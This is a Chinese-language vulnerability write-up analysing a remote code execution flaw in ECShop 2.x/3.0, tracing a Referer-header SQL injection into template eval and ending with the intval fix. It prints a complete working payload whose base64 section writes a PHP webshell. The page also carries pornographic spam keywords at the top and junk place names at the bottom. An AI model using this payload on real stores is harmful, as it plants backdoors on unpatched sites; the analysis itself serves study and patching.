亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行ECShop 2.x 3.0代碼執行漏洞分析

發布時間:2021-12-28 09:44:06 來源:億速云 閱讀:131 作者:柒染 欄目:安全技術

今天就跟大家聊聊有關如何進行ECShop 2.x 3.0代碼執行漏洞分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

0x00 前言

ECShop是一款B2C獨立網店系統,適合企業及個人快速構建個性化網上商店。2.x版本跟3.0版本存在代碼執行漏洞。

0x01 漏洞原理

ECShop 沒有對 $GLOBAL[‘_SERVER’][‘HTTP_REFERER’] 變量進行驗證,導致用戶可以將任意代碼插入的user_passport.dwt模板中,隨后insert_mod根據模板內容動態執行相應的函數,用戶插入惡意代碼導致模板動態執行了lib_insert下的 insert_ads 方法,通過SQL注入,返回構造的執行代碼,致使后面調用cls_template模板類的fetch函數,成功執行惡意代碼。

0x02 環境搭建

IDE : PHPStorm

PHP: 5.4

ECshop 3.0

ECShop 2.7.3

0x03 分析過程

整體功能

首先過一下整體的功能,進入到user.php中。

如何進行ECShop 2.x 3.0代碼執行漏洞分析

正常情況下,程序會將$GLOBALS[‘_SERVER’][‘HTTP_REFERER’] 賦值給了$back_act,接著通過cls_template模板類的assign和display進行賦值和和傳值給了user_passport.dwt頁面模板;這時候user_passport.dwt頁面模板的內容是這樣子的。

如何進行ECShop 2.x 3.0代碼執行漏洞分析

進入到$smarty->display中,通過inser_mod的分割和反序列之后動態調用函數獲得購物信息和會員信息,將會默認執行user_passport.dw上面的兩個函數,即lib_insert函數類下的insert_cart_info和insert_member_info函數。

insert_cart_info函數//調用購物信息
insert_member_info函數 //調用會員信息

user_passport.dw模板:

如何進行ECShop 2.x 3.0代碼執行漏洞分析

inser_mod函數:

如何進行ECShop 2.x 3.0代碼執行漏洞分析

Payload

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -";s:2:"id";s:3:"'/*";}

開始分析

在user.php 中的通過執行登陸操作的時候,將$GLOBALS[‘_SERVER’][‘HTTP_REFERER’]的值修改為我們的代碼:

如何進行ECShop 2.x 3.0代碼執行漏洞分析

這時候$back_act的值就是我們篡改之后的REFERER值了,之后程序會繼續執行:

$smarty->assign('back_act', $back_act);  //賦值
$smarty->display('user_passport.dwt'); //傳值到模板上

經過assign,display的賦值和傳值之后,這時候user_passport.dwt模板上的back_act值是這樣的:

如何進行ECShop 2.x 3.0代碼執行漏洞分析在觀察堆棧參數的時候,可以觀察到this->_echash 的值跟我們的Payload的值是一樣的,這是ECSHOP的固定的HASH值,2.7版本的_echash值為554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的_echash值為45ea207d7a2b68c49582d2d22adf953,所以所用的Payload也不一樣。

如何進行ECShop 2.x 3.0代碼執行漏洞分析

進入到display函數中,會執行fetch函數,獲得頁面模板內容;

$out = $this->fetch($filename, $cache_id); //根據$cache_id獲取模板內容也就是user_passport.dwt的內容

接著按照_echash的值也就是固定hash值進行分割;

如何進行ECShop 2.x 3.0代碼執行漏洞分析

分割完之后程序會先執行兩個默認函數,然后才執行我們的代碼,繼續執行insert_mod函數 。

$k[$key] = $this->insert_mod($val);

跟進,可以看到我們輸入的字符串根據“|”進行了分割,并分別賦值給了$fun和$para

所以最后的到的值類似于$fun = insert_ads $para = array(‘num’=>”*/union…”,’id’=>”*/”)

如何進行ECShop 2.x 3.0代碼執行漏洞分析

到了return $fun($para);這里,將會執行lib_insert動態函數類下的 insert_ads($para)函數。

跟進,可以看到這里執行了SQL語句,而$arr[‘id’]$arr[‘num’]這兩個參數正是我們傳進來的數組中的內容,參數可控,從而導致了注入。

如何進行ECShop 2.x 3.0代碼執行漏洞分析

這時候在數據庫中,執行的語句為:

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop3_0`.`ecs_ad` AS a LEFT JOIN `ecshop3_0`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1536052713' AND end_time >= '1536052713' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,0x,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -

如何進行ECShop 2.x 3.0代碼執行漏洞分析可以看到數據庫的position_id和position_style字段分別被union select 查詢覆蓋為了'/*   和{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//}xxx        

如何進行ECShop 2.x 3.0代碼執行漏洞分析

查詢結束之后,根據$position_style的值執行了cls_template模板類的fetch函數。

$val = $GLOBALS[‘smarty’]->fetch($position_style); //執行了smarty的fetch函數

跟進,看到這里,這里最終執行了惡意代碼。

$out = $this->_eval($this->fetch_str(substr($filename, 4))); //最終執行了語句

看一下內部的字符串處理,傳入filename的值為:

” str:{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//}xxx”

然后使用substr對filenname進行切割,接著進入到$this->fetch_str中,可以看到fetch_str函數的返回內容為<?php echo xx>格式的。

如何進行ECShop 2.x 3.0代碼執行漏洞分析在跟入到$this->get_val中,執行了$p = $this->make_var($val);   ,跟入到make_var函數中。

如何進行ECShop 2.x 3.0代碼執行漏洞分析

字符串處理最后返回的值為:

$this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//']

拼接在一起,最后返回的數據為:

<?php echo $this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//>

從而最終導致了代碼執行。

如何進行ECShop 2.x 3.0代碼執行漏洞分析

0x04 代碼執行的調用鏈

如何進行ECShop 2.x 3.0代碼執行漏洞分析

0x05 修復方案

在ECShop3.6版本中insert_ads函數對$arr[‘num’]和$arr[‘id’]進行了強制類型轉換。

$arr[‘num’] = intval($arr[‘num’]);
$arr['id'] = intval($arr['id']);

看完上述內容,你們對如何進行ECShop 2.x 3.0代碼執行漏洞分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

云安县| 舒城县| 石渠县| 理塘县| 曲松县| 墨竹工卡县| 封开县| 枣庄市| 乌海市| 隆子县| 江油市| 永安市| 怀集县| 敖汉旗| 浮山县| 泊头市| 临汾市| 金沙县| 金乡县| 马公市| 个旧市| 伊川县| 河北区| 平泉县| 中牟县| 天全县| 绥德县| 拉萨市| 信宜市| 汕头市| 湖北省| 邳州市| 长宁区| 岗巴县| 新蔡县| 阳高县| 永昌县| 邵阳县| 西丰县| 云阳县| 介休市|